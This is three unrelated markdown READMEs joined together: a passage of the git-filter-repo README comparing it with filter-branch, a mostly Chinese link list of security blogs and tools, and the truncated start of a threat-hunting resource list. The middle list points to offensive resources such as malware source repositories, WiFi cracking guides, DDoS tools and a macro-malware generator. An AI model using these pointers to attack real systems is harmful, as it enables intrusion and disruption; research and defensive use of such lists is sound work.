script, which was done to make installation for basic use on many systems trivial: just place that file into your $PATH. See [INSTALL.md](INSTALL.md) for things beyond basic usage or special cases. The more involved instructions are only needed if one of the following apply: * you do not find the above comment about trivial installation intuitively obvious * you are working with a python3 executable named something other than "python3" * you want to install documentation (beyond the builtin docs shown with -h) * you want to run some of the [contrib](contrib/filter-repo-demos/) examples * you want to create your own python filtering scripts using filter-repo as a module/library # How do I use it? For comprehensive documentation: * see the [user manual](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html) * alternative formating of the user manual is available on various external sites ([example](https://www.mankier.com/1/git-filter-repo)), for those that don't like the htmlpreview.github.io layout, though it may only be up-to-date as of the latest release If you prefer learning from examples: * there is a [cheat sheet for converting filter-branch commands](Documentation/converting-from-filter-branch.md#cheat-sheet-conversion-of-examples-from-the-filter-branch-manpage), which covers every example from the filter-branch manual * there is a [cheat sheet for converting BFG Repo Cleaner commands](Documentation/converting-from-bfg-repo-cleaner.md#cheat-sheet-conversion-of-examples-from-bfg), which covers every example from the BFG website * the [simple example](#simple-example-with-comparisons) below may be of interest * the user manual has an extensive [examples section](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html#EXAMPLES) # Why filter-repo instead of other alternatives? This was covered in more detail in a [Git Rev News article on filter-repo](https://git.github.io/rev_news/2019/08/21/edition-54/#an-introduction-to-git-filter-repo--written-by-elijah-newren), but some highlights for the main competitors: ## filter-branch * filter-branch is [extremely to unusably slow](https://public-inbox.org/git/CABPp-BGOz8nks0+Tdw5GyGqxeYR-3FF6FT5JcgVqZDYVRQ6qog@mail.gmail.com/) ([multiple orders of magnitude slower than it should be](https://git-scm.com/docs/git-filter-branch#PERFORMANCE)) for non-trivial repositories. * [filter-branch is riddled with gotchas](https://git-scm.com/docs/git-filter-branch#SAFETY) that can silently corrupt your rewrite or at least thwart your "cleanup" efforts by giving you something more problematic and messy than what you started with. * filter-branch is [very onerous](#simple-example-with-comparisons) [to use](https://github.com/newren/git-filter-repo/blob/a6a6a1b0f62d365bbe2e76f823e1621857ec4dbd/contrib/filter-repo-demos/filter-lamely#L9-L61) for any rewrite which is even slightly non-trivial. * the git project has stated that the above issues with filter-branch cannot be backward compatibly fixed; they recommend that you [stop using filter-branch](https://git-scm.com/docs/git-filter-branch#_warning) * die-hard fans of filter-branch may be interested in [filter-lamely](contrib/filter-repo-demos/filter-lamely) (a.k.a. [filter-branch-ish](contrib/filter-repo-demos/filter-branch-ish)), a reimplementation of filter-branch based on filter-repo which is more performant (though not nearly as fast or safe as filter-repo). * a [cheat sheet](Documentation/converting-from-filter-branch.md#cheat-sheet-conversion-of-examples-from-the-filter-branch-manpage) is available showing how to convert example commands from the manual of filter-branch into filter-repo commands. ## BFG Repo Cleaner * great tool for its time, but while it makes some things simple, it is limited to a few kinds of rewrites. * its architecture is not amenable to handling more types of rewrites. * its architecture presents some shortcomings and bugs even for its intended usecase. * fans of bfg may be interested in [bfg-ish](contrib/filter-repo-demos/bfg-ish), a reimplementation of bfg based on filter-repo which includes several new features and bugfixes relative to bfg. * a [cheat sheet](Documentation/converting-from-bfg-repo-cleaner.md#cheat-sheet-conversion-of-examples-from-bfg) is available showing how to convert example commands from the manual of BFG Repo Cleaner into filter-repo commands. # Simple example, with comparisons Let's say that we want to extract a piece of a repository, with the intent on merging just that piece into some other bigger repo. For extraction, we want to: * extract the history of a single directory, src/. This means that only paths under src/ remain in the repo, and any commits that only touched paths outside this directory will be removed. * rename all files to have a new leading directory, my-module/ (e.g. so that src/foo.c becomes my-module/src/foo.c) * rename any tags in the extracted repository to have a 'my-module-' prefix (to avoid any conflicts when we later merge this repo into something else) ## Solving this with filter-repo Doing this with filter-repo is as simple as the following command: ```shell git filter-repo --path src/ --to-subdirectory-filter my-module --tag-rename '':'my-module-' ``` (the single quotes are unnecessary, but make it clearer to a human that we are replacing the empty string as a prefix with `my-module-`) ## Solving this with BFG Repo Cleaner BFG Repo Cleaner is not capable of this kind of rewrite; in fact, all three types of wanted changes are outside of its capabilities. ## Solving this with filter-branch filter-branch comes with a pile of caveats (more on that below) even once you figure out the necessary invocation(s): ```shell git filter-branch \ --tree-filter 'mkdir -p my-module && \ git ls-files \ | grep -v ^src/ \ | xargs git rm -f -q && \ ls -d * \ | grep -v my-module \ | xargs -I files mv files my-module/' \ --tag-name-filter 'echo "my-module-$(cat)"' \ --prune-empty -- --all git clone file://$(pwd) newcopy cd newcopy git for-each-ref --format="delete %(refname)" refs/tags/ \ | grep -v refs/tags/my-module- \ | git update-ref --stdin git gc --prune=now ``` Some might notice that the above filter-branch invocation will be really slow due to using --tree-filter; you could alternatively use the --index-filter option of filter-branch, changing the above commands to: ```shell git filter-branch \ --index-filter 'git ls-files \ | grep -v ^src/ \ | xargs git rm -q --cached; git ls-files -s \ | sed "s%$(printf \\t)%&my-module/%" \ | git update-index --index-info; git ls-files \ | grep -v ^my-module/ \ | xargs git rm -q --cached' \ --tag-name-filter 'echo "my-module-$(cat)"' \ --prune-empty -- --all git clone file://$(pwd) newcopy cd newcopy git for-each-ref --format="delete %(refname)" refs/tags/ \ | grep -v refs/tags/my-module- \ | git update-ref --stdin git gc --prune=now ``` However, for either filter-branch command there are a pile of caveats. First, some may be wondering why I list five commands here for filter-branch. Despite the use of --all and --tag-name-filter, and filter-branch's manpage claiming that a clone is enough to get rid of old objects, the extra steps to delete the other tags and do another gc are still required to clean out the old objects and avoid mixing new and old history before pushing somewhere. Other caveats: * Commit messages are not rewritten; so if some of your commit messages refer to prior commits by (abbreviated) sha1, after the rewrite those messages will now refer to commits that are no longer part of the history. It would be better to rewrite those (abbreviated) sha1 references to refer to the new commit ids. * The --prune-empty flag sometimes misses commits that should be pruned, and it will also prune commits that *started* empty rather than just ended empty due to filtering. For repositories that intentionally use empty commits for versioning and publishing related purposes, this can be detrimental. * The commands above are OS-specific. GNU vs. BSD issues for sed, xargs, and other commands often trip up users; I think I failed to get most folks to use --index-filter since the only example in the filter-branch manpage that both uses it and shows how to move everything into a subdirectory is linux-specific, and it is not obvious to the reader that it has a portability issue since it silently misbehaves rather than failing loudly. * The --index-filter version of the filter-branch command may be two to three times faster than the --tree-filter version, but both filter-branch commands are going to be multiple orders of magnitude slower than filter-repo. * Both commands assume all filenames are composed entirely of ascii characters (even special ascii characters such as tabs or double quotes will wreak havoc and likely result in missing files or misnamed files) ## Solving this with fast-export/fast-import One can kind of hack this together with something like: ```shell git fast-export --no-data --reencode=yes --mark-tags --fake-missing-tagger \ --signed-tags=strip --tag-of-filtered-object=rewrite --all \ | grep -vP '^M [0-9]+ [0-9a-f]+ (?!src/)' \ | grep -vP '^D (?!src/)' \ | perl -pe 's%^(M [0-9]+ [0-9a-f]+ )(.*)$%\1my-module/\2%' \ | perl -pe 's%^(D )(.*)$%\1my-module/\2%' \ | perl -pe s%refs/tags/%refs/tags/my-module-% \ | git -c core.ignorecase=false fast-import --date-format=raw-permissive \ --force --quiet git for-each-ref --format="delete %(refname)" refs/tags/ \ | grep -v refs/tags/my-module- \ | git update-ref --stdin git reset --hard git reflog expire --expire=now --all git gc --prune=now ``` But this comes with some nasty caveats and limitations: * The various greps and regex replacements operate on the entire fast-export stream and thus might accidentally corrupt unintended portions of it, such as commit messages. If you needed to edit file contents and thus dropped the --no-data flag, it could also end up corrupting file contents. * This command assumes all filenames in the repository are composed entirely of ascii characters, and also exclude special characters such as tabs or double quotes. If such a special filename exists within the old src/ directory, it will be pruned even though it was intended to be kept. (In slightly different repository rewrites, this type of editing also risks corrupting filenames with special characters by adding extra double quotes near the end of the filename and in some leading directory name.) * This command will leave behind huge numbers of useless empty commits, and has no realistic way of pruning them. (And if you tried to combine this technique with another tool to prune the empty commits, then you now have no way to distinguish between commits which were made empty by the filtering that you want to remove, and commits which were empty before the filtering process and which you thus may want to keep.) * Commit messages which reference other commits by hash will now reference old commits that no longer exist. Attempting to edit the commit messages to update them is extraordinarily difficult to add to this kind of direct rewrite. # Design rationale behind filter-repo None of the existing repository filtering tools did what I wanted; they all came up short for my needs. No tool provided any of the first eight traits below I wanted, and no tool provided more than two of the last four traits either: 1. [Starting report] Provide user an analysis of their repo to help them get started on what to prune or rename, instead of expecting them to guess or find other tools to figure it out. (Triggered, e.g. by running the first time with a special flag, such as --analyze.) 1. [Keep vs. remove] Instead of just providing a way for users to easily remove selected paths, also provide flags for users to only *keep* certain paths. Sure, users could workaround this by specifying to remove all paths other than the ones they want to keep, but the need to specify all paths that *ever* existed in **any** version of the repository could sometimes be quite painful. For filter-branch, using pipelines like `git ls-files | grep -v ... | xargs -r git rm` might be a reasonable workaround but can get unwieldy and isn't as straightforward for users; plus those commands are often operating-system specific (can you spot the GNUism in the snippet I provided?). 1. [Renaming] It should be easy to rename paths. For example, in addition to allowing one to treat some subdirectory as the root of the repository, also provide options for users to make the root of the repository just become a subdirectory. And more generally allow files and directories to be easily renamed. Provide sanity checks if renaming causes multiple files to exist at the same path. (And add special handling so that if a commit merely copied oldname->newname without modification, then filtering oldname->newname doesn't trigger the sanity check and die on that commit.) 1. [More intelligent safety] Writing copies of the original refs to a special namespace within the repo does not provide a user-friendly recovery mechanism. Many would struggle to recover using that. Almost everyone I've ever seen do a repository filtering operation has done so with a fresh clone, because wiping out the clone in case of error is a vastly easier recovery mechanism. Strongly encourage that workflow by [detecting and bailing if we're not in a fresh clone](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html#FRESHCLONE), unless the user overrides with --force. 1. [Auto shrink] Automatically remove old cruft and repack the repository for the user after filtering (unless overridden); this simplifies things for the user, helps avoid mixing old and new history together, and avoids problems where the multi-step process for shrinking the repo documented in the manpage doesn't actually work in some cases. (I'm looking at you, filter-branch.) 1. [Clean separation] Avoid confusing users (and prevent accidental re-pushing of old stuff) due to mixing old repo and rewritten repo together. (This is particularly a problem with filter-branch when using the --tag-name-filter option, and sometimes also an issue when only filtering a subset of branches.) 1. [Versatility] Provide the user the ability to extend the tool or even write new tools that leverage existing capabilities, and provide this extensibility in a way that (a) avoids the need to fork separate processes (which would destroy performance), (b) avoids making the user specify OS-dependent shell commands (which would prevent users from sharing commands with each other), (c) takes advantage of rich data structures (because hashes, dicts, lists, and arrays are prohibitively difficult in shell) and (d) provides reasonable string manipulation capabilities (which are sorely lacking in shell). 1. [Old commit references] Provide a way for users to use old commit IDs with the new repository (in particular via mapping from old to new hashes with refs/replace/ references). 1. [Commit message consistency] If commit messages refer to other commits by ID (e.g. "this reverts commit 01234567890abcdef", "In commit 0013deadbeef9a..."), those commit messages should be rewritten to refer to the new commit IDs. 1. [Become-empty pruning] Commits which become empty due to filtering should be pruned. If the parent of a commit is pruned, the first non-pruned ancestor needs to become the new parent. If no non-pruned ancestor exists and the commit was not a merge, then it becomes a new root commit. If no non-pruned ancestor exists and the commit was a merge, then the merge will have one less parent (and thus make it likely to become a non-merge commit which would itself be pruned if it had no file changes of its own). One special thing to note here is that we prune commits which become empty, NOT commits which start empty. Some projects intentionally create empty commits for versioning or publishing reasons, and these should not be removed. (As a special case, commits which started empty but whose parent was pruned away will also be considered to have "become empty".) 1. [Become-degenerate pruning] Pruning of commits which become empty can potentially cause topology changes, and there are lots of special cases. Normally, merge commits are not removed since they are needed to preserve the graph topology, but the pruning of parents and other ancestors can ultimately result in the loss of one or more parents. A simple case was already noted above: if a merge commit loses enough parents to become a non-merge commit and it has no file changes, then it too can be pruned. Merge commits can also have a topology that becomes degenerate: it could end up with the merge_base serving as both parents (if all intervening commits from the original repo were pruned), or it could end up with one parent which is an ancestor of its other parent. In such cases, if the merge has no file changes of its own, then the merge commit can also be pruned. However, much as we do with empty pruning we do not prune merge commits that started degenerate (which indicates it may have been intentional, such as with --no-ff merges) but only merge commits that become degenerate and have no file changes of their own. 1. [Speed] Filtering should be reasonably fast # How do I contribute? See the [contributing guidelines](Documentation/Contributing.md). # Is there a Code of Conduct? Participants in the filter-repo community are expected to adhere to the same standards as for the git project, so the [git Code of Conduct](https://git.kernel.org/pub/scm/git/git.git/tree/CODE_OF_CONDUCT.md) applies. # Upstream Improvements Work on filter-repo and [its predecessor](https://public-inbox.org/git/[email protected]/) has also driven numerous improvements to fast-export and fast-import (and occasionally other commands) in core git, based on things filter-repo needs to do its work: * git-2.28.0 * [fast-import: add new --date-format=raw-permissive format]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=d42a2fb72f) * git-2.24.0 * [fast-export: handle nested tags]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=941790d7de) * [t9350: add tests for tags of things other than a commit]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=8d7d33c1ce) * [fast-export: allow user to request tags be marked with --mark-tags]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=a1638cfe12) * [fast-export: add support for --import-marks-if-exists]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=208d69246e) * [fast-import: add support for new 'alias' command]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=b8f50e5b60) * [fast-import: allow tags to be identified by mark labels]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=f73b2aba05) * [fast-import: fix handling of deleted tags]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=3164e6bd24) * [fast-export: fix exporting a tag and nothing else]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=af2abd870b) * [git-fast-import.txt: clarify that multiple merge commits are allowed]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=d1387d3895) * git-2.23.0 * [t9350: fix encoding test to actually test reencoding]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=32615ce762) * [fast-import: support 'encoding' commit header]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=3edfcc65fd) * [fast-export: avoid stripping encoding header if we cannot reencode]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=ccbfc96dc4) * [fast-export: differentiate between explicitly UTF-8 and implicitly UTF-8]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=57a8be2cb0) * [fast-export: do automatic reencoding of commit messages only if requested]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=e80001f8fd) * git-2.22.0 * [log,diff-tree: add --combined-all-paths option]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=d76ce4f734) * [t9300: demonstrate bug with get-mark and empty orphan commits]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=62edbec7de) * [git-fast-import.txt: fix wording about where ls command can appear]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=a63c54a019) * [fast-import: check most prominent commands first]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=5056bb7646) * [fast-import: only allow cat-blob requests where it makes sense]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=7ffde293f2) * [fast-import: fix erroneous handling of get-mark with empty orphan commits]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=cf7b857a77) * [Honor core.precomposeUnicode in more places]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=8e712ef6fc) * git-2.21.0 * [fast-export: convert sha1 to oid]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=843b9e6d48) * [git-fast-import.txt: fix documentation for --quiet option]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=f55c979b14) * [git-fast-export.txt: clarify misleading documentation about rev-list args]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=4532be7cba) * [fast-export: use value from correct enum]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=b93b81e799) * [fast-export: avoid dying when filtering by paths and old tags exist]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=1f30c904b3) * [fast-export: move commit rewriting logic into a function for reuse]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=f129c4275c) * [fast-export: when using paths, avoid corrupt stream with non-existent mark]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=cd13762d8f) * [fast-export: ensure we export requested refs]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=fdf31b6369) * [fast-export: add --reference-excluded-parents option]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=530ca19c02) * [fast-import: remove unmaintained duplicate documentation]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=25dd3e4889) * [fast-export: add a --show-original-ids option to show original names]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=a965bb3116) * [git-show-ref.txt: fix order of flags]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=bd8d6f0def) * git-2.20.0 * [update-ref: fix type of update_flags variable to match its usage]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=e4c34855a2) * [update-ref: allow --no-deref with --stdin]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=d345e9fbe7) * git-1.7.3 * [fast-export: Fix dropping of files with --import-marks and path limiting]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=4087a02e45) * [fast-export: Add a --full-tree option]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=7f40ab0916) * [fast-export: Fix output order of D/F changes]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=060df62422) * [fast-import: Improve robustness when D->F changes provided in wrong order]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=253fb5f889) * git-1.6.4: * [fast-export: Set revs.topo_order before calling setup_revisions]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=668f3aa776) * [fast-export: Omit tags that tag trees]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=02c48cd69b) * [fast-export: Make sure we show actual ref names instead of "(null)"]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=2374502c6c) * [fast-export: Do parent rewriting to avoid dropping relevant commits]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=32164131db) * [fast-export: Add a --tag-of-filtered-object option for newly dangling tags]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=2d8ad46919) * [Add new fast-export testcases]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=25e0ca5dd6) * [fast-export: Document the fact that git-rev-list arguments are accepted]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=8af15d282e) * git-1.6.3: * [git-filter-branch: avoid collisions with variables in eval'ed commands]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=d5b0c97d13) * [Correct missing SP characters in grammar comment at top of fast-import.c]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=98e1a4186a) * [fast-export: Avoid dropping files from commits]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=ebeec7dbc5) * git-1.6.1.4: * [fast-export: ensure we traverse commits in topological order]( https://git.kernel.org/pub/scm/git/git.git/commit/?id=784f8affe4)

# SecuritySite 收集了一些安全公司的博客，用于安全情报 http://contagiodump.blogspot.com https://mmd.sougaoqing.com/mmd/index.htm http://researchcenter.paloaltonetworks.com https://www.fireeye.com/blog.html http://www.symantec.com/connect/blogs https://blog.kaspersky.com https://labs.bitdefender.com/ http://cybersecurityminute.com/security-blogs/source/Trend+Micro+Blog/ https://securingtomorrow.mcafee.com http://resources.infosecinstitute.com https://blog.fortinet.com https://blog.trustlook.com/ http://www.hackingarticles.in https://www.offensive-security.com/blog/ http://thehackernews.com/ https://community.rapid7.com/community/metasploit/blog/ https://blog.malwarebytes.com/ https://www.nowsecure.com/blog/ https://security.berkeley.edu/resources/phishing/phishing-examples-archive http://malware-traffic-analysis.net/ http://www.vantagepoint.sg/blog https://www.endgame.com/blog https://www.incapsula.com/blog/ https://crackinglandia.wordpress.com https://www.pentestpartners.com/ https://www.binarydefense.com/ https://blogs.technet.microsoft.com/ https://astr0baby.wordpress.com/2017/07/ http://blog.sec-consult.com/ https://www.besttechie.com/ https://vallejo.cc http://nullcon.net/website/ https://r3mrum.wordpress.com/ https://www.bonkersabouttech.com/security https://n0tty.github.io/ https://www.christophertruncer.com/ https://cybersyndicates.com/ https://www.offensive-security.com/blog/ https://www.scriptjunkie.us/ https://www.rebootuser.com/ https://www.darknet.org.uk/ https://webstersprodigy.net/ https://www.hackingloops.com/ https://pentestlab.wordpress.com https://parsiya.net/archive/ http://www.ws-attacks.org/Welcome_to_WS-Attacks http://www.harmj0y.net/blog/ https://enigma0x3.net/ https://bluescreenofjeff.com/ https://leonjza.github.io/ https://chousensha.github.io/ https://stealthsploit.com/ http://rastamouse.me/ https://blog.zsec.uk/ http://www.rvrsh3ll.net/blog/ https://cybersyndicates.com/ https://blog.joelj.org/ http://threat.tevora.com/ http://www.netmux.com/ http://www.floyd.ch/ http://buffered.io/ https://jivoi.github.io/ http://amanda.secured.org/ https://ramblingcookiemonster.github.io/ http://bencane.com/ http://www.sixdub.net/ https://www.darknet.org.uk/ https://labs.mwrinfosecurity.com/ https://blog.kenaro.com/ http://bughunting.guide/ http://michaeldaw.org/ https://pentestlab.blog/ https://enigma0x3.net/ https://www.pentesterlab.com/ http://www.invoke-ir.com/ http://www.labofapenetrationtester.com/ http://subt0x10.blogspot.co.uk/ http://www.kitploit.com/ http://tk-blog.blogspot.com/ https://www.trustedsec.com/ https://room362.com/ https://www.corelan.be/ https://www.us-cert.gov/ https://holidayhackchallenge.com/ https://www.anthonys.io/ https://www.arbornetworks.com/blog/asert/ https://0x00sec.org/ http://blog.malwaremustdie.org https://www.anquanke.com/ https://www.malware-traffic-analysis.net/ https://sec-wiki.com/ https://pastebin.com/ https://landave.io/ https://threatpost.com/ https://www.peppermalware.com/ # 工具官网 https://portswigger.net/ https://wiki.wireshark.org/ http://w3af.org/ https://hashcat.net/ http://www.powershellempire.com/?page_id=561 https://blog.cobaltstrike.com/ https://www.metasploit.com/ https://www.netsparker.com/ https://www.bleepingcomputer.com/ # IDA插件 https://n0where.net/best-ida-plugins/ # IoT https://arstechnica.com/security/ http://www.devttys0.com https://github.com/nebgnahz/awesome-iot-hacks https://www.exploitee.rs/index.php/Main_Page https://iot.sec-wiki.com/ # hack https://github.com/Hack-with-Github/Awesome-Hacking # PPT https://www.slideshare.net/ # Chart https://github.com/SecWiki/sec-chart # Penetration Testing https://github.com/enaqx/awesome-pentest https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/ # Wooyun https://superkieran.github.io/WooyunDrops/#!/ http://cb.drops.wiki/ # Kali https://github.com/tiancode/learn-hacking http://www.hackfun.org/kali-tools/kali-tools-zh.html # dictionary https://pan.baidu.com/s/1clxaCA # OWASP https://www.owasp.org/index.php/Main_Page https://www.owasp.org/index.php/OWASP_Internet_of_Things_Project # Python for penetration testers https://vulnerablelife.wordpress.com/2017/05/13/python-for-penetration-testers/ # Honeypot https://github.com/SecWiki/ipot https://ipot.sec-wiki.com/ https://sosly.me/index.php/2017/09/05/jymiguan2/ # WiFi Cracker https://github.com/brannondorsey/wifi-cracking http://www.freebuf.com/articles/wireless/137641.html https://klionsec.github.io/2015/04/14/aircrack-hascat/ # Radio http://www.hackrf.net/ # Vuln Linux渗透测试 https://www.vulnhub.com/ # Metasploit http://uknowsec.cn/posts/skill/Meatsploit-Framework-%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93.html # DDOS http://uknowsec.cn/posts/skill/%E6%B5%85%E8%B0%88ddos%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html http://resources.infosecinstitute.com/dos-attacks-free-dos-attacking-tools/ http://www.hackingarticles.in/dos-attack-packet-crafting-using-colasoft/ http://www.hackingarticles.in/dos-attack-penetration-testing-part-2/ # Sandbox https://www.hybrid-analysis.com/ # Shodan http://www.freebuf.com/sectool/121339.html # 傻蛋联网搜索 https://www.oshadan.com # ZoomEye https://www.zoomeye.org/ # XMind 思维导图工具 http://www.xmindchina.net/ # Exploit https://www.peerlyst.com/posts/the-best-resources-for-learning-exploit-development?trk=search_page_search_result # PWNDBG https://github.com/pwndbg/pwndbg # OFFICE MALWARE https://remnux.org/ https://r3mrum.wordpress.com/2017/06/29/analyzing-malicious-password-protected-office-documents/ https://dfir.it/blog/2015/06/17/analysts-handbook-analyzing-weaponized-documents/ # Software-Security-Learning https://github.com/CHYbeta/Software-Security-Learning # Web-Security-Learning https://github.com/CHYbeta/Web-Security-Learning # Python爬虫 https://segmentfault.com/p/1210000009117809/read # 黑客大会 https://www.defcon.org/ http://www.blackhat.com/ http://www.securitybsides.com/ https://events.ccc.de/congress/ https://www.derbycon.com http://phreaknic.info http://shmoocon.org/ http://www.carolinacon.org/ https://chcon.nz http://www.summercon.org/ https://2016.hack.lu/ https://conference.hitb.org https://www.troopers.de http://hack3rcon.org http://thotcon.org/ http://www.layerone.org/ https://deepsec.net/ http://www.skydogcon.com/ http://secuinside.com http://def.camp/ https://appsecusa.org/ http://brucon.org http://www.infosecurityeurope.com/ http://nullcon.net/website/ https://www.rsaconference.com/ https://www.swisscyberstorm.com/ https://www.virusbulletin.com/conference/index http://www.ekoparty.org https://44con.com/ https://www.balccon.org http://fsec.foi.hr https://www.syscan360.org/ http://kcon.knownsec.com/ # 在线工具 https://haveibeenpwned.com/ https://www.tineye.com/ http://ddecode.com/phpdecoder/?home http://www.fuzzysecurity.com/links.html https://crackstation.net/ http://www.objectif-securite.ch/ # Radare2 https://www.megabeets.net/a-journey-into-radare-2-part-1/ https://www.megabeets.net/a-journey-into-radare-2-part-2/ # REMnux REMnux: A Linux Toolkit for Reverse-Engineering and Analyzing Malware https://remnux.org/ # Gnuradio http://eu2-dist.gnuradio.org/ # Malware Source https://github.com/mwsrc # Cheat Sheet for Analyzing Malicious Software https://zeltser.com/malware-analysis-cheat-sheet/ # 知道工具之硬件路由相关 https://mp.weixin.qq.com/s/QdiI66ZDsHj7MaMB6c88Ug # Analyzing Malicious Documents Cheat Sheet https://zeltser.com/analyzing-malicious-documents/ https://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator # Iot Exploit Tools https://www.attify-store.com/collections/frontpage/products/iot-security-exploitation-training-learning-kit # Objective-C Reveser https://blog.fortinet.com/2017/09/19/rewriting-idapython-script-objc2-xrefs-helper-py-for-hopper # Metasploitbale2 https://sourceforge.net/projects/metasploitable/files/Metasploitable2/ # Shodan http://www.jianshu.com/p/ee22367303d5 # 蓝牙攻击基础篇 http://www.whitecell-club.org/?p=1524 # Kali Docker http://blog.csdn.net/u013814153/article/details/53925790 # DDoS http://www.freebuf.com/column/132782.html

# Resource Threat Detection and Hunting ## CMC SOC TEAM (CMC INFOSEC) - [Threat Detection and Hunting](#threat-detection-and-hunting) - [Tools](#tools) - [DataSet](#dataset) - [Resources](#resources) - [Frameworks](#frameworks) - [DNS](#dns) - [Command and Control](#command-and-control) - [Osquery](#osquery) - [Windows](#windows) - [Sysmon](#sysmon) - [PowerShell](#powershell) - [Research Papers](#research-papers) - [Blogs](#blogs) - [Videos](#videos) - [Trainings](#trainings) - [Twitter](#twitter) - [Threat Simulation](#threat-simulation) - [Tools](#tools-1) - [Resources](#resources-1) - [Contribute](#contribute) - [License](#license) ## Threat Detection and Hunting ### Tools - [MITRE ATT&CK Navigator](https://mitre.github.io/attack-navigator/enterprise/)([source code](https://github.com/mitre/attack-navigator)) - The ATT&CK Navigator is designed to provide basic navigation and annotation of ATT&CK matrices, something that people are already doing today in tools like Excel. - [HELK](https://github.com/Cyb3rWard0g/HELK) - A Hunting ELK (Elasticsearch, Logstash, Kibana) with advanced analytic capabilities. - [osquery](https://osquery.io/) - An operating system instrumentation framework for Windows, OS X (macOS), Linux, and FreeBSD. It exposes an operating system as a high-performance relational database. - [osquery-configuration](https://github.com/palantir/osquery-configuration) - A repository for using osquery for incident detection and response. - [Zentral](https://github.com/zentralopensource/zentral) - Combines osquery's powerful endpoint inventory features with a flexible notification and action framework. This enables one to identify and react to changes on OS X and Linux clients. - [DetectionLab](https://github.com/clong/DetectionLab/) - Vagrant & Packer scripts to build a lab environment complete with security tooling and logging best practices. - [Sysmon-DFIR](https://github.com/MHaggis/sysmon-dfir) - Sources, configuration and how to detect evil things utilizing Microsoft Sysmon. - [sysmon-config](https://github.com/SwiftOnSecurity/sysmon-config) - Sysmon configuration file template with default high-quality event tracing. - [sysmon-modular](https://github.com/olafhartong/sysmon-modular) - A repository of sysmon configuration modules. It also includes a [mapping](https://github.com/olafhartong/sysmon-modular/blob/master/attack_matrix/README.md) of Sysmon configurations to MITRE ATT&CK techniques. - [Revoke-Obfuscation](https://github.com/danielbohannon/Revoke-Obfuscation) - PowerShell Obfuscation Detection Framework. - [go-audit](https://github.com/slackhq/go-audit) - An alternative to the auditd daemon that ships with many distros. - [sqhunter](https://github.com/0x4D31/sqhunter) - A simple threat hunting tool based on osquery, Salt Open and Cymon API. - [RedHunt-OS](https://github.com/redhuntlabs/RedHunt-OS) - A Virtual Machine for Adversary Emulation and Threat Hunting. RedHunt aims to be a one stop shop for all your threat emulation and threat hunting needs by integrating attacker's arsenal as well as defender's toolkit to actively identify the threats in your environment. - [Oriana](https://github.com/mvelazc0/Oriana) - Lateral movement and threat hunting tool for Windows environments built on Django comes Docker ready. - [JA3](https://github.com/salesforce/ja3) - A method for profiling SSL/TLS Clients - [Bro-Osquery](https://github.com/bro/bro-osquery) - Bro integration with osquery - [Brosquery](https://github.com/jandre/brosquery) - A module for osquery to load Bro logs into tables - [Kolide Fleet](https://github.com/kolide/fleet) - A flexible control server for osquery fleets - [DeepBlueCLI](https://github.com/sans-blue-team/DeepBlueCLI) - A PowerShell Module for Hunt Teaming via Windows Event Logs - [Invoke-ATTACKAPI](https://github.com/Cyb3rWard0g/Invoke-ATTACKAPI) - A PowerShell script to interact with the MITRE ATT&CK Framework via its own API. - [Unfetter](https://github.com/unfetter-analytic/unfetter) - A reference implementation provides a framework for collecting events (process creation, network connections, Window Event Logs, etc.) from a client machine and performing CAR analytics to detect potential adversary activity. - [NOAH](https://github.com/giMini/NOAH) - PowerShell No Agent Hunting. - [PSHunt](https://github.com/Infocyte/PSHunt) - Powershell Threat Hunting Module. - [Flare](https://github.com/austin-taylor/flare) - An analytical framework for network traffic 